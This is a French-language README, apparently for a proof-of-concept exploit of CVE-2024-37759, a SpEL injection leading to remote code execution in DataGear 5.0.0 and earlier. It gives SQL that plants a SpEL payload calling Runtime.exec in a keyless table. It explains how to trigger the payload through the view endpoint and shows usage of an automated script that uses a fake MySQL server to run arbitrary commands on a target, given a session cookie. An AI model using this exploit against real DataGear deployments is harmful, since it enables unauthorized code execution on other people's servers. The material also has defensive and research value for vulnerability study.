
Exploit de preuve de concept pour CVE-2024-37759, une vulnérabilité d'injection SpEL dans DataGear 5.0.0 et versions antérieures permettant l'exécution de code à distance via des tables de base de données spécialement conçues.
DataGear 5.0.0 et les versions antérieures présentent une vulnérabilité d'injection d'expression SpEL qui conduit à une exécution de code à distance.
Lorsque vous effectuez une requête vers l'interface /data/{schemaId}/{tableName}/view, si la table de la base de données ne possède pas de clé primaire, un attaquant peut injecter une expression SpEL malveillante dans le champ data. Lorsque le bouton "view" est cliqué, l'expression SpEL sera exécutée.
Pour exécuter l'attaque, vous pouvez créer une table de base de données malveillante comme ceci :
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
Ensuite, connectez-vous et ajoutez cette base de données MySQL dans l'interface d'ajout de schéma : /schema/saveAdd.
Cliquez ensuite sur le bouton "view" et l'expression SpEL sera exécutée.
Cet exploit est dérivé de MySQL_Fake_Server. Tout d'abord, connectez-vous au portail et obtenez le cookie "JSESSIONID". Vous pouvez ensuite utiliser cet exploit pour exécuter des commandes automatiquement.
L'argument -t spécifie le site vulnérable cible, -o spécifie l'adresse IP publique où le faux serveur MySQL est accessible, -p est pour le port du faux serveur, -s est pour la valeur du cookie "JSESSIONID", et -c spécifie la commande que vous souhaitez exécuter.
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"